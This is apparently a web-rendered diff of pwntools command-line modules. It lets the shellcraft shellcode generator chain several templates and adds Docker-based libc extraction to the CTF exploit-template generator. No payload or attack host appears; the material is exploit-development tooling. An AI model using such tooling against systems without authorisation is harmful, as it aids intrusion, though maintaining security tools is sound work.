@@ -12,6 +8,7 @@ pwnlib.args.free_form = False
|
||||
|
||||
from pwn import *
|
||||
from pwnlib.commandline import common
|
||||
from pwnlib.util.fiddling import hexstr
|
||||
|
||||
|
||||
# ____ _ _ _ __ _
|
||||
@@ -20,17 +17,6 @@ from pwnlib.commandline import common
|
||||
# ___) | | | | __/ | | (__| | | (_| | _| |_
|
||||
# |____/|_| |_|\___|_|_|\___|_| \__,_|_| \__|
|
||||
|
||||
def _string(s):
|
||||
out = []
|
||||
for co in bytearray(s):
|
||||
c = chr(co)
|
||||
if co >= 0x20 and co <= 0x7e and c not in '/$\'"`':
|
||||
out.append(c)
|
||||
else:
|
||||
out.append('\\x%02x' % co)
|
||||
return '"' + ''.join(out) + '"\n'
|
||||
|
||||
|
||||
p = common.parser_commands.add_parser(
|
||||
'shellcraft',
|
||||
help = 'Microwave shellcode -- Easy, fast and delicious',
|
||||
@@ -71,17 +57,9 @@ p.add_argument(
|
||||
|
||||
p.add_argument(
|
||||
'shellcode',
|
||||
nargs = '?',
|
||||
help = 'The shellcode you want',
|
||||
type = str
|
||||
)
|
||||
|
||||
p.add_argument(
|
||||
'args',
|
||||
nargs = '*',
|
||||
metavar = 'arg',
|
||||
default = (),
|
||||
help = 'Argument to the chosen shellcode',
|
||||
help = 'The shellcodes you want. shellcode [args ...] [+ shellcode [args ...]]',
|
||||
type = str
|
||||
)
|
||||
|
||||
p.add_argument(
|
||||
@@ -91,6 +69,12 @@ p.add_argument(
|
||||
action='store_true'
|
||||
)
|
||||
|
||||
p.add_argument(
|
||||
'--delim',
|
||||
help='Set the delimiter between multiple shellcodes',
|
||||
default='+'
|
||||
)
|
||||
|
||||
p.add_argument(
|
||||
'-b',
|
||||
'--before',
|
||||
@@ -172,24 +156,50 @@ p.add_argument(
|
||||
help='Generated ELF is a shared library'
|
||||
)
|
||||
|
||||
def get_template(name):
|
||||
func = shellcraft
|
||||
for attr in name.split('.'):
|
||||
func = getattr(func, attr)
|
||||
return func
|
||||
def get_template(shellcodes):
|
||||
funcs = []
|
||||
for shellcode in shellcodes:
|
||||
func = shellcraft
|
||||
cur_name = shellcode[0]
|
||||
args = []
|
||||
if len(shellcode) > 1:
|
||||
args = shellcode[1:]
|
||||
for attr in cur_name.split('.'):
|
||||
func = getattr(func, attr)
|
||||
funcs.append((cur_name, func, args))
|
||||
return funcs
|
||||
|
||||
def is_not_a_syscall_template(name):
|
||||
template_src = shellcraft._get_source(name)
|
||||
return '/syscalls' not in template_src
|
||||
|
||||
def main(args):
|
||||
delim = '+'
|
||||
if args.delim:
|
||||
delim = args.delim.strip()
|
||||
|
||||
shellcodes = []
|
||||
if args.shellcode:
|
||||
current = []
|
||||
for s in args.shellcode:
|
||||
if s.strip() == delim:
|
||||
shellcodes.append(current)
|
||||
current = []
|
||||
else:
|
||||
current.append(s)
|
||||
if len(current) > 0:
|
||||
shellcodes.append(current)
|
||||
|
||||
if args.list:
|
||||
templates = shellcraft.templates
|
||||
|
||||
if args.shellcode:
|
||||
templates = filter(lambda a: args.shellcode in a, templates)
|
||||
template_array = []
|
||||
for s in shellcodes:
|
||||
template_array.extend(list(filter(lambda a: s[0] in a, templates)))
|
||||
templates = template_array
|
||||
elif not args.syscalls:
|
||||
templates = filter(is_not_a_syscall_template, templates)
|
||||
templates = list(filter(is_not_a_syscall_template, templates))
|
||||
|
||||
print('\n'.join(templates))
|
||||
exit()
|
||||
@@ -199,84 +209,92 @@ def main(args):
|
||||
exit()
|
||||
|
||||
try:
|
||||
func = get_template(args.shellcode)
|
||||
funcs = get_template(shellcodes)
|
||||
except AttributeError:
|
||||
log.error("Unknown shellcraft template %r. Use --list to see available shellcodes." % args.shellcode)
|
||||
|
||||
if args.show:
|
||||
# remove doctests
|
||||
doc = []
|
||||
in_doctest = False
|
||||
block_indent = None
|
||||
caption = None
|
||||
lines = func.__doc__.splitlines()
|
||||
i = 0
|
||||
while i < len(lines):
|
||||
line = lines[i]
|
||||
if line.lstrip().startswith('>>>'):
|
||||
# this line starts a doctest
|
||||
in_doctest = True
|
||||
block_indent = None
|
||||
if caption:
|
||||
# delete back up to the caption
|
||||
doc = doc[:caption - i]
|
||||
caption = None
|
||||
elif line == '':
|
||||
# skip blank lines
|
||||
pass
|
||||
elif in_doctest:
|
||||
# indentation marks the end of a doctest
|
||||
indent = len(line) - len(line.lstrip())
|
||||
if block_indent is None:
|
||||
if not line.lstrip().startswith('...'):
|
||||
block_indent = indent
|
||||
elif indent < block_indent:
|
||||
in_doctest = False
|
||||
for (name, func, _args) in funcs:
|
||||
# remove doctests
|
||||
doc = []
|
||||
in_doctest = False
|
||||
block_indent = None
|
||||
caption = None
|
||||
lines = func.__doc__.splitlines()
|
||||
i = 0
|
||||
if len(funcs) > 1:
|
||||
print('%s:' % name)
|
||||
while i < len(lines):
|
||||
line = lines[i]
|
||||
if line.lstrip().startswith('>>>'):
|
||||
# this line starts a doctest
|
||||
in_doctest = True
|
||||
block_indent = None
|
||||
# re-evalutate this line
|
||||
continue
|
||||
elif line.endswith(':'):
|
||||
# save index of caption
|
||||
caption = i
|
||||
else:
|
||||
# this is not blank space and we're not in a doctest, so the
|
||||
# previous caption (if any) was not for a doctest
|
||||
caption = None
|
||||
if caption:
|
||||
# delete back up to the caption
|
||||
doc = doc[:caption - i]
|
||||
caption = None
|
||||
elif line == '':
|
||||
# skip blank lines
|
||||
pass
|
||||
elif in_doctest:
|
||||
# indentation marks the end of a doctest
|
||||
indent = len(line) - len(line.lstrip())
|
||||
if block_indent is None:
|
||||
if not line.lstrip().startswith('...'):
|
||||
block_indent = indent
|
||||
elif indent < block_indent:
|
||||
in_doctest = False
|
||||
block_indent = None
|
||||
# re-evalutate this line
|
||||
continue
|
||||
elif line.endswith(':'):
|
||||
# save index of caption
|
||||
caption = i
|
||||
else:
|
||||
# this is not blank space and we're not in a doctest, so the
|
||||
# previous caption (if any) was not for a doctest
|
||||
caption = None
|
||||
|
||||
if not in_doctest:
|
||||
doc.append(line)
|
||||
i += 1
|
||||
print('\n'.join(doc).rstrip())
|
||||
if not in_doctest:
|
||||
doc.append(line)
|
||||
i += 1
|
||||
print('\n'.join(doc).rstrip())
|
||||
if len(funcs) > 1:
|
||||
print('')
|
||||
exit()
|
||||
|
||||
defargs = len(six.get_function_defaults(func) or ())
|
||||
reqargs = six.get_function_code(func).co_argcount - defargs
|
||||
if len(args.args) < reqargs:
|
||||
if defargs > 0:
|
||||
log.critical('%s takes at least %d arguments' % (args.shellcode, reqargs))
|
||||
sys.exit(1)
|
||||
else:
|
||||
log.critical('%s takes exactly %d arguments' % (args.shellcode, reqargs))
|
||||
sys.exit(1)
|
||||
code_array = []
|
||||
for (name, func, func_args) in funcs:
|
||||
defargs = len(func.__defaults__ or ())
|
||||
reqargs = func.__code__.co_argcount - defargs
|
||||
|
||||
# Captain uglyness saves the day!
|
||||
for i, val in enumerate(args.args):
|
||||
try:
|
||||
args.args[i] = util.safeeval.expr(val)
|
||||
except ValueError:
|
||||
pass
|
||||
if len(func_args) < reqargs:
|
||||
if defargs > 0:
|
||||
log.critical('%s takes at least %d arguments' % (name, reqargs))
|
||||
sys.exit(1)
|
||||
else:
|
||||
log.critical('%s takes exactly %d arguments' % (name, reqargs))
|
||||
sys.exit(1)
|
||||
|
||||
# And he strikes again!
|
||||
list(map(common.context_arg, args.shellcode.split('.')))
|
||||
code = func(*args.args)
|
||||
# Captain ugliness saves the day!
|
||||
for i, val in enumerate(func_args):
|
||||
try:
|
||||
func_args[i] = util.safeeval.expr(val)
|
||||
except ValueError:
|
||||
pass
|
||||
|
||||
# And he strikes again!
|
||||
list(map(common.context_arg, name.split('.')))
|
||||
code_array.append(func(*func_args))
|
||||
|
||||
code = "".join(code_array)
|
||||
|
||||
if args.before:
|
||||
code = shellcraft.trap() + code
|
||||
if args.after:
|
||||
code = code + shellcraft.trap()
|
||||
|
||||
|
||||
if args.format in ['a', 'asm', 'assembly']:
|
||||
if args.color:
|
||||
from pygments import highlight
|
||||
@@ -319,7 +337,7 @@ def main(args):
|
||||
else:
|
||||
args.format = 'raw'
|
||||
|
||||
arch = args.shellcode.split('.')[0]
|
||||
arch = name.split('.')[0]
|
||||
|
||||
if args.debug:
|
||||
if not args.avoid:
|
||||
@@ -335,7 +353,7 @@ def main(args):
|
||||
sys.exit(0)
|
||||
|
||||
if args.format in ['s', 'str', 'string']:
|
||||
code = _string(code)
|
||||
code = hexstr(code)
|
||||
elif args.format == 'c':
|
||||
code = '{' + ', '.join(map(hex, bytearray(code))) + '}' + '\n'
|
||||
elif args.format in ['h', 'hex']:
|
||||
@@ -343,7 +361,7 @@ def main(args):
|
||||
elif args.format in ['i', 'hexii']:
|
||||
code = hexii(code) + '\n'
|
||||
elif args.format in ['d', 'escaped']:
|
||||
code = ''.join('\\x%02x' % c for c in bytearray(code)) + '\n'
|
||||
code = ''.join(fr'\x{c:02x}' for c in code) + '\n'
|
||||
if not sys.stdin.isatty():
|
||||
args.out.write(getattr(sys.stdin, 'buffer', sys.stdin).read())
|
||||
|
||||
@@ -352,4 +370,4 @@ def main(args):
|
||||
args.out.write(code)
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
@@ -1,8 +1,7 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
from pwn import *
|
||||
from pwnlib.commandline import common
|
||||
from pwnlib.data import path as data_path
|
||||
from pwnlib.util.misc import which, parse_ldd_output, write
|
||||
|
||||
from mako.lookup import TemplateLookup, Template
|
||||
|
||||
@@ -16,7 +15,7 @@ parser = common.parser_commands.add_parser(
|
||||
)
|
||||
|
||||
# change path to hardcoded one when building the documentation
|
||||
printable_data_path = "pwnlib/data" if 'sphinx' in sys.modules else pwnlib.data.path
|
||||
printable_data_path = "pwnlib/data" if 'sphinx' in sys.modules else data_path
|
||||
|
||||
parser.add_argument('exe', nargs='?', help='Target binary. If not given, the current directory is searched for an executable binary.')
|
||||
parser.add_argument('--host', help='Remote host / SSH server')
|
||||
@@ -32,18 +31,113 @@ parser.add_argument('--template', help='Path to a custom template. Tries to use
|
||||
os.path.join(printable_data_path, "templates", "pwnup.mako"))
|
||||
parser.add_argument('--no-auto', help='Do not automatically detect missing binaries', action='store_false', dest='auto')
|
||||
|
||||
def get_docker_image_libraries():
|
||||
"""Tries to retrieve challenge libraries from a Docker image built from the Dockerfile in the current working directory.
|
||||
|
||||
The libraries are retrieved by parsing the output of running ldd on /bin/sh.
|
||||
Supports regular Docker images as well as jail images.
|
||||
"""
|
||||
with log.progress("Extracting challenge libraries from Docker image") as progress:
|
||||
if not which("docker"):
|
||||
progress.failure("docker command not found")
|
||||
return None, None
|
||||
# maps jail image name to the root directory of the child image
|
||||
jail_image_to_chroot_dir = {
|
||||
"pwn.red/jail": "/srv",
|
||||
}
|
||||
dockerfile = open("Dockerfile", "r").read()
|
||||
jail = None
|
||||
chroot_dir = "/"
|
||||
for jail_image in jail_image_to_chroot_dir:
|
||||
if re.search(r"^FROM %s" % jail_image, dockerfile, re.MULTILINE):
|
||||
jail = jail_image
|
||||
chroot_dir = jail_image_to_chroot_dir[jail_image]
|
||||
break
|
||||
try:
|
||||
progress.status("Building image")
|
||||
image_sha = subprocess.check_output(["docker", "build", "-q", "."], stderr=subprocess.PIPE, shell=False).decode().strip()
|
||||
|
||||
progress.status("Retrieving library paths")
|
||||
ldd_command = ["-c", "chroot %s /bin/sh -c 'ldd /bin/sh'" % chroot_dir]
|
||||
ldd_output = subprocess.check_output([
|
||||
"docker",
|
||||
"run",
|
||||
"--rm",
|
||||
"--entrypoint",
|
||||
"/bin/sh",
|
||||
] + (["--privileged"] if jail else []) + [
|
||||
image_sha,
|
||||
] + ldd_command,
|
||||
stderr=subprocess.PIPE,
|
||||
shell=False
|
||||
).decode()
|
||||
|
||||
libc, ld = None, None
|
||||
libc_basename, ld_basename = None, None
|
||||
for lib_path in parse_ldd_output(ldd_output):
|
||||
if "libc." in lib_path:
|
||||
libc = lib_path
|
||||
libc_basename = os.path.basename(lib_path)
|
||||
if "ld-" in lib_path:
|
||||
ld = lib_path
|
||||
ld_basename = os.path.basename(lib_path)
|
||||
|
||||
if not (libc and ld):
|
||||
progress.failure("Could not find libraries")
|
||||
return None, None
|
||||
|
||||
progress.status("Copying libraries to current directory")
|
||||
for filename, basename in zip((libc, ld), (libc_basename, ld_basename)):
|
||||
cat_command = ["-c", "chroot %s /bin/sh -c '/bin/cat %s'" % (chroot_dir, filename)]
|
||||
contents = subprocess.check_output([
|
||||
"docker",
|
||||
"run",
|
||||
"--rm",
|
||||
"--entrypoint",
|
||||
"/bin/sh",
|
||||
] + (["--privileged"] if jail else []) + [
|
||||
image_sha
|
||||
] + cat_command,
|
||||
stderr=subprocess.PIPE,
|
||||
shell=False
|
||||
)
|
||||
write(basename, contents)
|
||||
|
||||
except subprocess.CalledProcessError as e:
|
||||
print(e.stderr.decode(), file=sys.stderr)
|
||||
progress.failure("docker failed with status: %d" % e.returncode)
|
||||
return None, None
|
||||
|
||||
progress.success("Retrieved libraries from Docker image")
|
||||
return libc_basename, ld_basename
|
||||
|
||||
def detect_missing_binaries(args):
|
||||
"""Automatically detects challenge binaries and libraries in the current directory.
|
||||
|
||||
This function scans the current directory for executable files, libc, and ld libraries.
|
||||
If a Dockerfile is present and no libraries are found, it attempts to extract them from
|
||||
the Docker image, but only if the binary is not statically linked.
|
||||
|
||||
Args:
|
||||
args: Argument namespace containing exe and libc attributes.
|
||||
|
||||
Returns:
|
||||
tuple: A pair of (executable_path, libc_path) where either may be None if not found.
|
||||
"""
|
||||
log.info("Automatically detecting challenge binaries...")
|
||||
# look for challenge binary, libc, and ld in current directory
|
||||
exe, libc, ld = args.exe, args.libc, None
|
||||
has_dockerfile = False
|
||||
other_files = []
|
||||
for filename in os.listdir():
|
||||
for filename in os.listdir("."):
|
||||
if not os.path.isfile(filename):
|
||||
continue
|
||||
if not libc and ('libc-' in filename or 'libc.' in filename):
|
||||
libc = filename
|
||||
elif not ld and 'ld-' in filename:
|
||||
ld = filename
|
||||
elif filename == "Dockerfile":
|
||||
has_dockerfile = True
|
||||
else:
|
||||
if os.access(filename, os.X_OK):
|
||||
other_files.append(filename)
|
||||
@@ -52,6 +146,21 @@ def detect_missing_binaries(args):
|
||||
exe = other_files[0]
|
||||
elif len(other_files) > 1:
|
||||
log.warning("Failed to find challenge binary. There are multiple binaries in the current directory: %s", other_files)
|
||||
|
||||
# Check if the binary is statically linked before trying to extract libraries from Docker
|
||||
is_statically_linked = False
|
||||
if exe:
|
||||
try:
|
||||
binary = ELF(exe, checksec=False)
|
||||
is_statically_linked = binary.statically_linked
|
||||
if is_statically_linked:
|
||||
log.info("Binary is statically linked, no need for external libraries")
|
||||
except Exception as e:
|
||||
log.warning("Could not check if binary is statically linked: %s", e)
|
||||
|
||||
# Only extract libraries from Docker if the binary is not statically linked
|
||||
if has_dockerfile and exe and not (libc or ld) and not is_statically_linked:
|
||||
libc, ld = get_docker_image_libraries()
|
||||
|
||||
if exe != args.exe:
|
||||
log.success("Found challenge binary %r", exe)
|
||||
@@ -122,5 +231,5 @@ def main(args):
|
||||
except OSError: pass
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
|
||||
@@ -1,6 +1,3 @@
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
import argparse
|
||||
import sys
|
||||
from string import whitespace
|
||||
@@ -30,4 +27,4 @@ def main(args):
|
||||
raise
|
||||
|
||||
if __name__ == '__main__':
|
||||
common.main(__file__)
|
||||
common.main(__file__, main)
|
||||
@@ -1,7 +1,4 @@
|
||||
#!/usr/bin/env python
|
||||
from __future__ import absolute_import
|
||||
from __future__ import division
|
||||
|
||||
#!/usr/bin/env python3
|
||||
import subprocess
|
||||
|
||||
import pwnlib.args
|
||||
@@ -30,4 +27,4 @@ def main(a):
|
||||
subprocess.check_call(result, shell=False)
|
||||
|
||||
if __name__ == '__main__':
|
||||
pwnlib.commandline.common.main(__file__)
|
||||
pwnlib.commandline.common.main(__file__, main)
|
||||
Loaded 100 of 828 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user